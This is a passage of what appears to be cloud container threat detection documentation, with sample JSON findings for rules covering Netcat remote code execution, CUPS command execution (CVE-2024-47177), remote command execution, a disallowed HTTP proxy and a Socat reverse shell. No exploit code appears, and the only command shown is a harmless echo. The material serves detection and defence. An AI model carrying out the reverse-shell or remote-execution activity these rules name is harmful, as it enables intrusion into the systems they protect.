"\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"DEBIAN_FRONTEND\"",             "val": "\"noninteractive\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://10.77.124.129:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"10.77.124.129\""           },           {             "name": "\"PWD\"",             "val": "\"/malicious_files\""           }         ],         "pid": "8",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "display_name": "CLUSTER_ID",     "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "project_display_name": "PROJECT_ID",     "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parent_display_name": "PROJECT_ID",     "type": "google.container.Cluster",     "folders": []   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "modified_malicious_library_loaded"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1699911519",             "nanos": 124151422           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1129/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal IP Link",           "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"         }       ],       "cloudLoggingQueryUri": [         {           "displayName": "Cloud Logging Query Link",           "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.124151422Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"         }       ],       "relatedFindingUri": {}     }   } }

執行作業：容器中的 Netcat 遠端程式碼執行作業

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Netcat Remote Code Execution in Container",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "ESCAPE_TO_HOST"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-netcat-remote-code-execution-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "LOW",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_netcat_remote_code_execution_in_container"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1059/004/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"         }       ],       "relatedFindingUri": {}     }   }, }

執行：可能透過 CUPS 執行任意指令 (CVE-2024-47177)

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177)",     "chokepoint": {},     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2025-07-22T00:07:48Z"       }     ],     "createTime": "2025-07-22T00:07:54.853Z",     "database": {},     "dataProtectionKeyGovernance": {},     "eventTime": "2025-07-22T00:07:54.627Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/770715367326",           "timestamp": "2025-07-22T00:07:48.052030557Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "EXPLOITATION_FOR_CLIENT_EXECUTION"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/bin/dash\"",           "size": "121432",           "sha256": "2fdc4546e1f425bcaf62624a7118fd4ba86c11e6277e8b9ee63263eb0dcbc6c5",           "hashedSize": "121432",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"sh\"",           "\"-c\"",           "\"echo\"",           "\"hello\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"_\"",             "val": "\"/bin/sh\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-cups-2025-07-22-00-07-44-utc\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"DEBIAN_FRONTEND\"",             "val": "\"noninteractive\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"SHLVL\"",             "val": "\"2\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           }         ],         "pid": "9",         "parentPid": "8",         "userId": "0"       },       {         "binary": {           "path": "\"foomatic-rip\"",           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "argumentsTruncated": false,         "pid": "0",         "parentPid": "0",         "userId": "0"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_possible_arbitrary_command_execution_through_cups"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0002/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/2fdc4546e1f425bcaf62624a7118fd4ba86c11e6277e8b9ee63263eb0dcbc6c5/detection"         }       ],       "relatedFindingUri": {}     }   } }

執行：偵測到可能的遠端指令執行作業 (預先發布版)

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Possible Remote Command Execution Detected",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "COMMAND_AND_SCRIPTING_INTERPRETER"       ],       "additionalTactics": [         "COMMAND_AND_CONTROL"       ],       "additionalTechniques": [         "MULTI_STAGE_CHANNELS"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-remote-cmd-exec-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "MEDIUM",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_possible_remote_command_execution_detected"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1059/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/0d06f9724af41b13cdacea133530b9129a48450230feef9632d53d5bbb837c8c/detection"         }       ],       "relatedFindingUri": {}     }   }, }

執行：在禁止使用 HTTP Proxy 的環境中執行程式

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Program Run with Disallowed HTTP Proxy Env",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "PRIVILEGE_ESCALATION",       "primaryTechniques": [         "ESCAPE_TO_HOST"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-program-with-http-proxy-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           },           {             "name": "\"HTTP_PROXY\"",             "val": "\"http://localhost:8080\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "LOW",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_program_run_with_disallowed_http_proxy_env"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1204/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/f3bf59164816762430e8cdf5a5d64b4284a86af86245a52067c533c8cd98f215/detection"         }       ],       "relatedFindingUri": {}     }   }, }

執行：偵測到 Socat 反向殼層

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Socat Reverse Shell Detected",     "chokepoint": {},     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2025-07-22T00:07:48Z"       }     ],     "createTime": "2025-07-22T00:07:54.853Z",     "database": {},     "dataProtectionKeyGovernance": {},     "eventTime": "2025-07-22T00:07:54.627Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/770715367326",           "timestamp": "2025-07-22T00:07:48.052030557Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "COMMAND_AND_SCRIPTING_INTERPRETER"       ],       "additionalTactics": [         "COMMAND_AND_CONTROL"       ],       "additionalTechniques": [         "MULTI_STAGE_CHANNELS"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     